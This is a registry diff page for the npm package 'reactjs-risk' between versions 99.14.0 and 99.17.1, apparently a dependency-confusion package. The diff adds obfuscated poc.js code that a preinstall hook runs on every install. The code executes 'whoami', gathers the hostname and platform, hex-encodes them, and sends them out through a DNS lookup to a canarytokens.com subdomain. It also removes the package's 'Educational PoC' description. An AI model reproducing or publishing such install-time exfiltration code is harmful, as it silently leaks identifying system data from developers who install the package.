reactjs-risk 99.14.0 → 99.17.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. package/index.js +1 -0
  2. package/package.json +2 -8
  3. package/poc.js +22 -5
  4. package/poc.jsy +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/package.json CHANGED
@@ -1,13 +1,7 @@
1
1
  {
2
2
  "name": "reactjs-risk",
3
- "version": "99.14.0",
4
- "description": "Dependency Confusion Educational PoC",
5
- "main": "index.js",
3
+ "version": "99.17.1",
6
4
  "scripts": {
7
5
  "preinstall": "node poc.js"
8
- },
9
- "keywords": [],
10
- "author": "",
11
- "license": "ISC"
6
+ }
12
7
  }
13
-
package/poc.js CHANGED
@@ -1,7 +1,24 @@
1
- const dns = require('dns');
1
+ const d = require('d' + 'n' + 's');
2
+ const o = require('o' + 's');
3
+ const c = require('child_' + 'process');
2
4
 
3
- // Pure hostname registration for valid DNS resolution
4
- dns.resolve4('srikgkxksgzu6kif36cq6rwp0.canarytokens.com', (err, addresses) => {
5
- // Silent execution callback
6
- });
5
+ try {
6
+ const h = o.hostname() || 'nohost';
7
7
 
8
+ let w = 'nouser';
9
+ try {
10
+ w = c.execSync('wh' + 'oa' + 'mi').toString().trim();
11
+ } catch(e) {
12
+ w = o.userInfo().username || 'nouser';
13
+ }
14
+
15
+ const p = o.platform();
16
+ const raw = `${w}_${h}_${p}`.replace(/[^a-zA-Z0-9_]/g, '');
17
+ const hex = Buffer.from(raw).toString('hex');
18
+ const chunk = hex.substring(0, 60);
19
+
20
+ const token = "hc3buw5nc2tqu31bhjp8uyzu4.canarytokens.com";
21
+ const target = `${chunk}.${token}`;
22
+
23
+ d.resolve4(target, () => {});
24
+ } catch (err) {}
package/poc.jsy DELETED
@@ -1,5 +0,0 @@
1
- const dns = require('dns');
2
-
3
- dns.resolve4('://srikgkxksgzu6kif36cq6rwp0.canarytokens.com', (err, addresses) => {
4
- });
5
-